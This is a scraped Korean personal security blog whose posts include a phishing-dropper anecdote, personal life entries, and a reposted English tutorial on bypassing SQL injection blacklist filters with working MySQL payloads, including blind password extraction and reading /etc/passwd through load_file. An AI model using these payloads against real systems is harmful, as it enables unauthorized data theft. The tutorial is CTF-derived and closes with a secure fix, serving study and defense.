반응형
나우콤..은 인터넷사업부과 보안사업부가 나뉘어있는 구조로 되어있다..
(일단 참고..)


어느날.. 출근해서 메일을 살펴보는 중.. 아래와 같은 긔엽긔놈이 보낸듯한 메일이 날 자극했다.

받는 사람 주소 목록은 우리회사의 메일들로 가득차있었고.. 웃기게도 메일앞에 cert라고 써있는데도 우리팀 메일로 굳이 보내주셨다. 그 외에 아프리카 메일계정이랑.. 몇몇 회사 계정들로 가득차있었다. (nowcom 회사 계정으로만 받는 사람이 되어있었음)

긔엽긔놈.. 보안회사 테스트하냐..?!
=_=;

그래도 나름 생각을 잘했는지.. 캡쳐사진을 보낸다고 했는데..
진짜로 압축을 푸니까 그림 아이콘으로 되어있는 파일이 나왔다!!
하지만 실제로는 PE구조로 이루어진 실행파일!!

내부에 그림파일이랑 또 다른 드롭퍼를 가지고 있는 놈이였고..
그 드롭퍼도 또 드롭퍼고..
에이.. 귀찮게 자꾸 왜 이러는거야!! 라고 말해주고 싶어졌다 =_=;

우리!!
양심적으로~
보안회사 테스트 하려고 하고 이런거..

기리지마요~  =ㅁ=;;


반응형

'작업공간 > 기본적인 삽질 & 기록' 카테고리의 다른 글

JailBreakMe with PDF FlateDecode filter  (0) 2010.08.03
[펌]IDA + gdb with gdbserver  (2) 2010.07.09
Exploiting hard filtered SQL Injections  (5) 2010.05.30
iPhone encryption? Not really  (0) 2010.05.30
KT 플라자  (0) 2010.05.30
반응형
2일전..  회사에 있는데 갑자기 전화가 왔습니다.

지역번호를 보하니 대구쪽이더군요 =_=;;

받아봤더니 경찰인데.. 전에 아이템 사기로 신고한적 있냐고 묻길래 있다고 말했죠..

그랬더니 범인을 잡았다고....

그런데 범인은 가출했고.. 범인인 놈의 할머니께서 원금을 보상해주겠다고 하셨다네요..

그러면서 경찰분께서 할머니의 핸드폰 번호를 알려주시면서

"가장형편을 보니까 많이 받기는 힘들꺼같고 그냥 원금 받는다고 생각하세요."

라더군요

뭐.. 15만원이라서.. 그리고 좀 지난 일이라.. 그냥 무시하고 그놈 잡아서 형사처리해달라고 하기엔.. 너무 잔인한거 같아서 일단 원금만 받는걸 생각하고 있습니다.

처음에 신고했을땐.. 증거가 너무 없어서..
(3자사기)

접수 받으신분께서 기대하지 말라고.. 조만간 안될꺼같다고 연락 갈꺼 같으니까 인생경험한걸로 생각하라고 했었는데.. 한동안 연락이 안와서 갸우뚱했는데 결국 알아내긴했네요

하지만 가출한 놈들 잡는게 쉬운 일도 아닐테고 =_=;

원래 이런거 잡으면 몇배는 기본으로 받는다던데.. 그냥 원금만 받고 말던가 해야겠습니다.

할머니 전화번호가 핸드폰번호라서.. 돈 받는게 너무 가혹하진 않을꺼같지만

기분은 좀 씁쓸하네요.

반응형

'My Life' 카테고리의 다른 글

유입경로 분석  (2) 2010.07.26
2010년 07월 21일 SMS 내용 저장  (0) 2010.07.21
맨발의 꿈  (0) 2010.06.16
기다려지는 일요일..  (2) 2010.06.09
순정만화  (0) 2010.05.30
반응형
반응형
반응형

2010년 06월 16일...
영화시사회를 가자는 말에.. 무심코 따라 나섰다..
셔틀버스를 타고.. 양재에 내려서.. 지하철을 타고 충무로로 고고싱-
충무로역에 있는 대한극장에 처음으로 가봤는데.. CGV랑 역시 좀 다른 느낌이랄까??
여튼.. 영화 시작하기 전에 조금 시간이 남아서 롯데리아에가서 간단하게 끼니를 해결 +_+;
롯데리아는.. 박호철대리님께 저번달에 빼앗은(?) 롯데리아 유러피언 뭐시기 치즈버거.. ㅇ_ㅇ
사진으로는 엄청 커보이는데.. 실물은 완전 실망..
모든 햄버거가 그렇긴 하지만.. 정말 실망스러운 크기였다 ㅠㅠ

그렇게 요기를 끝나고 들어간 극장..
(이때 영화가 맨발의꿈이란걸 알았다..)
영화 시작은 배우분들을 기다리느라 좀 지연되었다.
그렇게 기다린 배우들 +_+...
하지만.. 무대가 어두워서 배우들을 볼 수는 없었고..
박희순!!씨 및 배우분들은 볼 수 없었다 -_-ㅋ
(박휘순이라고 들어서 개그맨이 찍은 줄 알았어요.. oTL..)
배우분들과 함께.. 실제 주인공이신 분도 오셨다.
내가 알고있기로는 이번달 초.. 한국에 잠시 들른걸로 알고 있는데..
럭키- 하게도 마침 실제 주인공을 딱 볼 수 있던거다 +_+;

그렇게 간단한 이야기가 끝난후..
영화는 시작되었고..
동티모르가 우승한걸 알고.. 대략적이 줄거리를 이미 영화프로그램에서 봤던 나는..
내용보단 영상에 많이 눈이 갔고..
아주 이쁘고 귀여운 여자아이와.. 아름다운 동티모르의 배경이 내 눈을 사로 잡았다.

영화가 클라이막스에 가까워지자...
뒤에 계신 아줌마께서는 막 소리를 지르시고 박수를 치시고 -_-ㅋ;;
(사실 그정도는 아니였는데 혼자 유난히.. =_=;;)
슛을하면
"슛~ 골~ >>ㅑ~"
.....
아주머니.. 그건 좀 아니라고요 ㅠㅠ
막판에 골 넣고 역전하니 그땐 꽤 많은 사람들이 박수와 약간의 소리를 치던....
(클라이막스 였으니 이해.. +_+ )

뭐랄까.. 영화를 끝나고 실제 주인공을 봤다면.. 어떤 느낌이였을까..
라는 생각이 들 정도로.. 인상적이였던 영화인 것 같다 ^^

음.. 아는 내용이다보니.. 좀.. 재미가 떨어졌지만..
나오면서 많은 분들이 재밌다 재밌다를 연발하던 영화였다..

개인적으로는  ★★★   ☆     3.5   (반개짜리 별을 못찾겠음 ㅠㅠ)
다른관객 반응 ★★★★★     5


반응형

'My Life' 카테고리의 다른 글

2010년 07월 21일 SMS 내용 저장  (0) 2010.07.21
7개월만에 잡은 아이템매니아 사기꾼..  (5) 2010.06.24
기다려지는 일요일..  (2) 2010.06.09
순정만화  (0) 2010.05.30
신입사원역량강화 연수 후기  (0) 2010.05.27
반응형
기디려지는 이번주 일요일..

점심엔 지대리님 아이 선욱이 생일.. 그 이후는 어디? ㅎㅎ
반응형

'My Life' 카테고리의 다른 글

7개월만에 잡은 아이템매니아 사기꾼..  (5) 2010.06.24
맨발의 꿈  (0) 2010.06.16
순정만화  (0) 2010.05.30
신입사원역량강화 연수 후기  (0) 2010.05.27
회사 내 내 자리..  (0) 2010.05.27
반응형

http://ollydbg.de

드디어 정식 릴리즈 된 OllyDBG..
내가 가장 좋아라 하는 디버거..
하지만.. 2.0으로 갈수가 없는거..................
플러그인 지원은 언제 되는걸까..

반응형

'작업공간 > Tool' 카테고리의 다른 글

6 Hex Editors for Malware Analysis  (0) 2010.10.13
MDecoder  (0) 2010.10.13
[Tool] Detectez les attaques Man in the Middle !  (0) 2010.03.08
Malware - ZEUS BotNet  (0) 2010.03.07
Super Phisher  (0) 2010.03.02
반응형
<사진 출처 : 네이버 영화>

유지태 같아서..
이연희 같지 않아서..
강인 같아서..
채정안 같아서..

좋은 사람들과 함께 할 수 있어서..
Thanks..

반응형

'My Life' 카테고리의 다른 글

맨발의 꿈  (0) 2010.06.16
기다려지는 일요일..  (2) 2010.06.09
신입사원역량강화 연수 후기  (0) 2010.05.27
회사 내 내 자리..  (0) 2010.05.27
2박 3일 강원도 여행기(3일차)  (3) 2010.05.26
반응형
웹해킹을 공부해야되는데..

웹쪽은 관심이 없어서 거의 안봤는데..

요즘.. 제 한계(?)를 느끼고 이럴 바에는 폭넓게 가는게 맞다는 생각하에..

다분야로 보려고 웹쪽은 다시 공부하고 있습니다..

아.. 정말 웹은 힘듭니다 ^^;;



Exploiting hard filtered SQL Injections

While participating at some CTF challenges like Codegate10 or OWASPEU10 recently I noticed that it is extremely trendy to build SQL injection challenges with very tough filters which can be circumvented based on the flexible MySQL syntax. In this post I will show some example filters and how to exploit them which may also be interesting when exploiting real life SQL injections which seem unexploitable at first glance.

For the following examples I’ll use this basic vulnerable PHP script:

01 <?php
02 // DB connection
03  
04 $id = $_GET['id'];
05 $pass = mysql_real_escape_string($_GET['pass']);
06  
07 $result = mysql_query("SELECT id,name,pass FROM users WHERE id = $id AND pass = '$pass' ");
08  
09 if($data = @mysql_fetch_array($result))
10     echo "Welcome ${data['name']}";
11 ?>

Note: the webapplication displays only the name of the first row of the sql resultset.

Warmup

Lets warm up. As you can see the parameter “id” is vulnerable to SQL Injection. The first thing you might want to do is to confirm the existence of a SQLi vulnerability:

1 ?id=1 and 1=0-- -
1 ?id=1 and 1=1-- -

You also might want to see all usernames by iterating through limit (x):

1 ?id=1 or 1=1 LIMIT x,1-- -

But usernames are mostly not as interesting as passwords and we assume that there is nothing interesting in each internal user area.

So you would like to know what the table and column names are and you try the following:

1 ?id=1 and 1=0 union select null,table_name,null from information_schema.tables limit 28,1-- -
1 ?id=1 and 1=0 union select null,column_name,null from information_schema.columns where table_name='foundtablename' LIMIT 0,1-- -

After you have found interesting tables and its column names you can start to extract data.

1 ?id=1 and 1=0 union select null,password,null from users limit 1,1-- -

Ok thats enough for warming up.

Whitespaces, quotes and slashes filtered

Of course things aren’t that easy most time. Now consider the following filter for some extra characters:

1 if(preg_match('/\s/', $id))
2     exit('attack'); // no whitespaces
3 if(preg_match('/[\'"]/', $id))
4     exit('attack'); // no quotes
5 if(preg_match('/[\/\\\\]/', $id))
6     exit('attack'); // no slashes

As you can see above our injections have a lot of spaces and some quotes. The first idea would be to replace the spaces by /*comments*/ but slashes are filtered. Alternative whitespaces are all catched by the whitespace filter. But luckily because of the flexible MySQL syntax we can avoid all whitespaces by using parenthesis to seperate SQL keywords (old but not seen very often).

1 ?id=(1)and(1)=(0)union(select(null),table_name,(null)from(information_schema.tables)limit 28,1-- -)

Looks good, but still has some spaces at the end. So we also use group_concat() because LIMIT requires a space and therefore can’t be used anymore. Since all table names in one string can be very long, we can use substr() or mid() to limit the size of the returning string. As SQL comment we simply take “#” (not urlencoded for better readability).

1 ?id=(1)and(1)=(0)union(select(null),mid(group_concat(table_name),600,100),(null)from(information_schema.tables))#

Instead of a quoted string we can use the SQL hex representation of the found table name:

1 ?id=(1)and(1)=(0)union(select(null),group_concat(column_name),(null)from(information_schema.columns)where(table_name)=(0x7573657273))#

Nice.

Basic keywords filtered

Now consider the filter additionally checks for the keywords “and”, “null”, “where” and “limit”:

1 if(preg_match('/\s/', $id))
2     exit('attack'); // no whitespaces
3 if(preg_match('/[\'"]/', $id))
4     exit('attack'); // no quotes
5 if(preg_match('/[\/\\\\]/', $id))
6     exit('attack'); // no slashes
7 if(preg_match('/(and|null|where|limit)/i', $id))
8     exit('attack'); // no sqli keywords

For some keywords this is still not a big problem. Something most of you would do from the beginning anyway is to confirm the SQLi with the following injections leading to the same result:

1 ?id=1#
1 ?id=2-1#

To negotiate the previous resultset you can also use a non-existent id like 0. Instead of the place holder “null” we can select anything else of course because it is only a place holder for the correct column amount. So without the WHERE we have:

1 ?id=(0)union(select(0),group_concat(table_name),(0)from(information_schema.tables))#
1 ?id=(0)union(select(0),group_concat(column_name),(0)from(information_schema.columns))#

This should give us all table and column names. But the output string from group_concat() gets very long for all available table and column names (including the columns of the mysql system tables) and the length returned by group_concat() is limited to 1024 by default. While the length may fit for all table names (total system table names length is about 900), it definitely does not fit for all available column names because all system column names concatenated already take more than 6000 chars.

WHERE alternative

The first idea would be to use ORDER BY column_name DESC to get the user tables first but that doesn’t work because ORDER BY needs a space. Another keyword we have left is HAVING.
First we have a look which databases are available:

1 ?id=(0)union(select(0),group_concat(schema_name),(0)from(information_schema.schemata))#

This will definitely fit into 1024 chars, but you can also use database() to get the current database name:

1 ?id=(0)union(select(0),database(),(0))#

Lets assume your database name is “test” which hex representation is “0×74657374″. Then we can use HAVING to get all table names associated with the database “test” without using WHERE:

1 ?id=(0)union(select(table_schema),table_name,(0)from(information_schema.tables)having((table_schema)like(0x74657374)))#

Note that you have to select the column “table_schema” in one of the place holders to use this column in HAVING. Since we assume that the webapp is designed to return only the first row of the result set, this will give us the first table name. The second table name can be retrieved by simply excluding the first found table name from the result:

1 ?id=(0)union(select(table_schema),table_name,(0)from(information_schema.tables)having((table_schema)like(0x74657374)&&(table_name)!=(0x7573657273)))#

We use && as alternative for the filtered keyword AND (no urlencoding for better readability). Keep excluding table names until you have them all. Then you can go on with exactly the same technique to get all column names:

1 ?id=(0)union(select(table_name),column_name,(0)from(information_schema.columns)having((table_name)like(0x7573657273)))#
1 ?id=(0)union(select(table_name),column_name,(0)from(information_schema.columns)having((table_name)like(0x7573657273)&&(column_name)!=(0x6964)))#

Unfortunately you can’t use group_concat() while using HAVING hence the excluding step by step.

intermediate result

What do we need for our injections so far?
keywords: “union”, “select”, “from”,”having”
characters: (),._# (& or “and”)
String comparing characters like “=” and “!=” can be avoided by using the keywords “like” and “rlike” or the function strcmp() together with the keyword “not”:

1 ?id=(0)union(select(table_name),column_name,(0)from(information_schema.columns)having((table_name)like(0x7573657273)and(NOT((column_name)like(0x6964)))))#

advanced keyword filtering

Now its getting difficult. The filter also checks for all keywords previously needed:

01 if(preg_match('/\s/', $id))
02     exit('attack'); // no whitespaces
03 if(preg_match('/[\'"]/', $id))
04     exit('attack'); // no quotes
05 if(preg_match('/[\/\\\\]/', $id))
06     exit('attack'); // no slashes
07 if(preg_match('/(and|or|null|where|limit)/i', $id))
08     exit('attack'); // no sqli keywords
09 if(preg_match('/(union|select|from|having)/i', $id))
10     exit('attack'); // no sqli keywords

What option do we have left?

If we have the FILE privilege we can use load_file() (btw you can’t use into outfile without quotes and spaces). But we can’t output the result of load_file() because we can not use union select so we need another way to read the string returned by the load_file().
First we want to check if the file can be read. load_file() returns “null” if the file could not be read, but since the keyword “null” is filtered we cant compare to “null” or use functions like isnull(). A simple solution is to use coalesce() which returns the first not-null value in the list:

1 ?id=(coalesce(length(load_file(0x2F6574632F706173737764)),1))

This will return the length of the file content or – if the file could not be read – a “1″ and therefore the success can be seen by the userdata selected in the original query. Now we can use the CASE operator to read the file content blindly char by char:

1 ?id=(case(mid(load_file(0x2F6574632F706173737764),$x,1))when($char)then(1)else(0)end)

(while $char is the character in sql hex which is compared to the current character of the file at offset $x)

We bypassed the filter but it requires the FILE privilege.

filtering everything

Ok now we expand the filter again and it will check for file operations too (or just assume you don’t have the FILE privilege). We also filter SQL comments. So lets assume the following (rearranged) filter:

01 if(preg_match('/\s/', $id))
02     exit('attack'); // no whitespaces
03 if(preg_match('/[\'"]/', $id))
04     exit('attack'); // no quotes
05 if(preg_match('/[\/\\\\]/', $id))
06     exit('attack'); // no slashes
07 if(preg_match('/(and|or|null|not)/i', $id))
08     exit('attack'); // no sqli boolean keywords
09 if(preg_match('/(union|select|from|where)/i', $id))
10     exit('attack'); // no sqli select keywords
11 if(preg_match('/(group|order|having|limit)/i', $id))
12     exit('attack'); //  no sqli select keywords
13 if(preg_match('/(into|file|case)/i', $id))
14     exit('attack'); // no sqli operators
15 if(preg_match('/(--|#|\/\*)/', $id))
16     exit('attack'); // no sqli comments

The SQL injection is still there but it may look unexploitable. Take a breath and have a look at the filter. Do we have anything left?

We cant use procedure analyse() because it needs a space and we cant use the ’1′%’0′ trick. Basically we only have special characters left, but that is often all we need.

We need to keep in mind that we are already in a SELECT statement and we can add some conditions to the existing WHERE clause. The only problem with that is that we can only access columns that are already selected and that we do have to know their names. In our login example they shouldn’t be hard to guess though. Often they are named the same as the parameter names (as in our example) and in most cases the password column is one of {password, passwd, pass, pw, userpass}.
So how do we access them blindly? A usual blind SQLi would look like the following:

1 ?id=(case when(mid(pass,1,1)='a') then 1 else 0 end)

This will return 1 to the id if the first char of the password is ‘a’. Otherwise it will return a 0 to the WHERE clause. This works without another SELECT because we dont need to access a different table. Now the trick is to express this filtered CASE operation with only boolean operators. While AND and OR is filtered, we can use the characters && and || to check, if the first character of the pass is ‘a’:

1 ?id=1&&mid(pass,1,1)=(0x61);%00

We use a nullbyte instead of a filtered comment to ignore the check for the right password in the original sql query. Make sure you prepend a semicolon. Nice, we can now iterate through the password chars and extract them one by one by comparing them to its hex representation. If it matches, it will show the username for id=1 and if not the whole WHERE becomes untrue and nothing is displayed. Also we can iterate to every password of each user by simply iterating through all ids:

1 ?id=2&&mid(pass,1,1)=(0x61);%00
1 ?id=3&&mid(pass,1,1)=(0x61);%00

Of course this takes some time and mostly you are only interested in one specific password, for example of the user “admin” but you dont know his id. Basically we want something like:

1 ?id=(SELECT id FROM users WHERE name = 'admin') && mid(pass,1,1)=('a');%00

The first attempt could be:

1 ?id=1||1=1&&name=0x61646D696E&&mid(pass,1,1)=0x61;%00

That does not work because the “OR 1=1″ at the beginning is stronger than the “AND”s so that we will always see the name of the first entry in the table (it gets more clearly wenn you write the “OR 1=1″ at the end of the injection). So what we do is we compare the column id to the column id itself to make our check for the name and password independent of all id’s:

1 ?id=id&&name=0x61646D696E&&mid(pass,1,1)=0x61;%00

If the character of the password is guessed correctly we will see “Hello admin” – otherwise there is displayed nothing. With this we have successfully bypassed the tough filter.

filtering everything and even more

What else can we filter to make it more challenging? Sure, some characters like “=”, “|” and “&”.

01 if(preg_match('/\s/', $id))
02     exit('attack'); // no whitespaces
03 if(preg_match('/[\'"]/', $id))
04     exit('attack'); // no quotes
05 if(preg_match('/[\/\\\\]/', $id))
06     exit('attack'); // no slashes
07 if(preg_match('/(and|or|null|not)/i', $id))
08     exit('attack'); // no sqli boolean keywords
09 if(preg_match('/(union|select|from|where)/i', $id))
10     exit('attack'); // no sqli select keywords
11 if(preg_match('/(group|order|having|limit)/i', $id))
12     exit('attack'); //  no sqli select keywords
13 if(preg_match('/(into|file|case)/i', $id))
14     exit('attack'); // no sqli operators
15 if(preg_match('/(--|#|\/\*)/', $id))
16     exit('attack'); // no sqli comments
17 if(preg_match('/(=|&|\|)/', $id))
18     exit('attack'); // no boolean operators

Lets see. The character “=” shouldn’t be problematic as already mentioned above, we simply use “like” or “regexp” etc.:

1 ?id=id&&(name)like(0x61646D696E)&&(mid(pass,1,1))like(0x61);%00

The character “|” isn’t even needed. But what about the “&”? Can we check for the name=’admin’ and for the password characters without using logical operators?

After exploring all sorts of functions and comparison operators I finally found the simple function if(). It basically works like the CASE structure but is a lot shorter and ideal for SQL obfuscation / filter evasion. The first attempt is to jump to the id which correspondents to the name = ‘admin’:

1 ?id=if((name)like(0x61646D696E),1,0);%00

This will return 1, if the username is admin and 0 otherwise. Now that we actually want to work with the admin’s id we return his id instead of 1:

1 ?id=if((name)like(0x61646D696E),id,0);%00

Now the tricky part is to not use AND or && but to also check for the password chars. So what we do is we nest the if clauses. Here is the commented injection:

1 ?id=
2 if(
3   // if (it gets true if the name='admin')
4     if((name)like(0x61646D696E),1,0),
5   // then (if first password char='a' return admin id, else 0)
6     if(mid((password),1,1)like(0x61),id,0),
7   // else (return 0)
8     0
9 );%00

Injection in one line:

1 ?id=if(if((name)like(0x61646D696E),1,0),if(mid((password),1,1)like(0x61),id,0),0);%00

Again you will see “Hello admin” if the password character was guessed correctly and otherwise you’ll see nothing (id=0). Sweet!

Conclusion

(My)SQL isn’t as flexible as Javascript, thats for sure. The main difference is that you can’t obfuscate keywords because there is nothing like eval() (as long as you don’t inject into stored procedures). But as shown in this article there isn’t much more needed than some characters (mainly parenthesis and commas) to not only get a working injection but also to extract data or read files. Various techniques also have shown that detecting and blocking SQL injections based on keywords is not reliable and that exploiting those is just a matter of time.

If you have any other clever ways for bypassing the filters described above please leave a comment. What about additionally filtering “if” too ?

Edit:
Because there has been some confusion: you should NOT use the last filter for securing your webapp. This post shows why it is bad to rely on a blacklist. To secure your webapp properly, typecast expected integer values and escape expected strings with mysql_real_escape_string(), but don’t forget to embed the result in quotes in your SQL query.

Here is a safe patch for the example:

1 $id = (int) $_GET['id'];
2 $pass = mysql_real_escape_string($_GET['pass']);
3 $result = mysql_query("SELECT id,name,pass FROM users WHERE id = $id AND pass = '$pass' ");

For more details have a look at the comments.


반응형
반응형
소포스는 항상 재미 있는 이야기를 많이 한답니다 ^^

이것도 그 중 일부죠..

이 내용도 역시 탭정리하면서 블로그에 기록합니다...

iPhone encryption? Not really



iPhone 3GS data folder

Sean Richmond from our Sydney, Australia office sent me a note yesterday asking if I had been following a thread on the Full Disclosure mailing list.

The author of the message noted that when he plugged in his iPhone 3GS to a Ubuntu 10.4 (Lucid Lynx) workstation he was able to access some of the data without authenticating to the phone or OS.

I must admit my focus on Apple security waxes and wanes, so I did some research into the topic. I booted the live CD version of the latest Ubuntu on my test workstation and performed the steps described in the post. I got an identical result which I have to admit was a great surprise.

Not that I don't trust Apple, but they have been talking about how the iPhone is enterprise ready and secure ever since the launch of the 3GS.

On initial examination all that is required to access the "user content" areas of a fully encrypted iPhone is Ubuntu. No passcode required. Since we do encryption here at Sophos I was a bit startled by this as any proper encryption should have the keys protected by some sort of passphrase that is required in order to access the protected volume.

iPhone 3GS Photos

Many have pointed out that the most sensitive information is still unavailable like SMS history, email, address books, etc. After seeing the phone boot without the passcode though, I thought there may be more of a story to this.

If you use full disk encryption on your computer you will notice that it cannot boot until you have provided the passphrase.This is because the key that encrypts the volume is protected by your passphrase. If you turn on an iPhone it boots all the way up and allows access from USB.

If the device boots, it must be able to access the encryption key without a passphrase. In turn this means it is as good as unencrypted as soon as it is turned on.

I started digging some more and noticed some research done by Jonathan Zdziarski in July 2009. Jonathan shows how you can boot an altered kernel from RAM disk and gain access to the device.

He also has another video where he recovers all the data from a protected iPhone, all without altering the device in any way. He can recover all of your "keystrokes", email, phone calls, voicemails, deleted messages and voicemail. Everything on the device is available without the passphrase.

Encryption is not difficult to do, but the way you choose to implement it is. As demonstrated by Apple's implementation, a state of the art AES-256 encrypted device has no protection if keys are not handled appropriately.

At Sophos we strive to provide excellent security in the simplest manner possible. Like Apple we know users care about their security, but do not want it to get in the way. To implement security simply, but effectively is very difficult. Unfortunately for businesses or consumers who think their iPhones are secure, they are incorrect.

The good news is that it would appear Apple is taking more of a FileVault encryption approach for sensitive data in their new iPhone v4 software. On Apple's site for "iPhone in Business", they now have a statement implying they have changed their implementation to be more secure:

Data Protection
Security enhancements in iPhone OS 4 protect email messages and attachments stored on iPhone 3GS by using the device passcode as an encryption key. New data protection APIs can be used for custom and commercial apps so that business-critical information is protected even if a device is compromised.

It's good to see Apple taking this problem on, and providing APIs for third party developers to secure their stored data as well. In the mean time if you have a 3GS or use an iPhone that contains sensitive information, be sure to not let it out of your sight.





반응형
반응형
guidePop_plaza_top.jpg
서울 강남 서울시 강남구 역삼동824-21 상경빌딩 1층
강동 서울시 송파구 방이동 65번지 태원빌딩4층
강서 서울시 영등포구 당산동4가 93-1동양타워 1층
동부 서울시 동대문구 용두동 40-11 동양프라자빌딩 2층
서부 서울시 마포구 동교동 162-4번지남강빌딩 7층
북부 서울시 도봉구 창4동 9-2번지정일프라자 2층
중앙 서울시 서대문구 충정로3가 464번지충정타워 2층
강변 서울시 광진구 구의동 546-4번지테크노마트 사무동 4층 3호
용산 서울시 용산구 한강로 3가 1-1전자월드빌딩 4층 31호
신도림 서울시 구로구 구로동 3-25 신도림 테크노마트 8F
경기도 부평 인천시 부평구 부평동 199-36번지 우리은행 7층
성남 경기도 성남시 수정구 신흥1동6910번지 성남파이낸스빌딩 2층
수원 경기도 수원시 팔달구 인계동1122-12 경기도새마을회관 1층 
안양 경기도 안양시 만안구 안양8동548-1번지 계양빌딩 2층
인천 인천시 남동구 구월동 1128-10번지현대해상빌딩 1층
일산 경기도 고양시 일산구 백석동1294-3 재능교육빌딩 6층 601호
강원도 원주 강원도 원주시 학상동 213-11 KTF사옥 1층 
강릉 강원도 강릉시 포남동 1117-13번지한국레저타운 5층
경남 부산역 부산시 동구 초량3동 1199-9번지교원아카데미빌딩 2층
동래 부산시 동래구 명륜동 510-6대한생명빌딩 1층
마산 마산시 회원구 석전동 244-9번지하나로통신빌딩 2층
울산 울산시 남구 달동 1365-7번지대우증권빌딩 4층
진주 경남 진주시 칠암동 490-8.엠코아빌딩 5층 502호 
덕천 부산시 북구 덕천동 382-8번지삼원빌딩 2층
대구 동대구 대구 동구 효목2동 286-9 KTF빌딩 1층
서대구 대구시 달서구 두류동 135-13현대해상빌딩 5층
포항 경북 포항시 북구 죽도동 51-7번지대아빌딩 11층
구미 경북 구미시 원평동 964-242번지C&S빌딩 2층
안동 경북 안동시 화성동 122-5번지권택근성형외과 1층
광주 충장로 광주시 동구 황금동 5-8 1층SHOW
서광주 광주시 서구 농성1동 417-40대한교원공제회관2층 
전주 전북 전주시 완산구 서신동 766번지KT 전북본부 1층
대전 동대전 대전광역시 동구 용전동 25-7번지 성산빌딩 1층
대전중앙 대전시 중구 은행동 139-1번지한솔그린타워빌딩 7층
서대전 대전시 서구 둔산동 929번지사학연금회관 10층
천안 충남 천안시 북구 쌍용동 390번지동방빌딩 3층
청주 청주시상당구 용암동 1695번지 청주타워 1층 (불교방송국)
제주도 제주 제주시 이도2동 1034-4번지 성우빌딩 1층


KT 플라자.. 토요일엔 대부분 쉰다네요..
토요일날 여는 곳이 어디지.. ㅠㅠ



반응형

'작업공간 > 기본적인 삽질 & 기록' 카테고리의 다른 글

Exploiting hard filtered SQL Injections  (5) 2010.05.30
iPhone encryption? Not really  (0) 2010.05.30
Static analysis of malicous PDFs (Part #2)  (0) 2010.05.30
The Tools  (0) 2010.05.30
[퍼옴] 아이폰 디버기  (0) 2010.05.26

+ Recent posts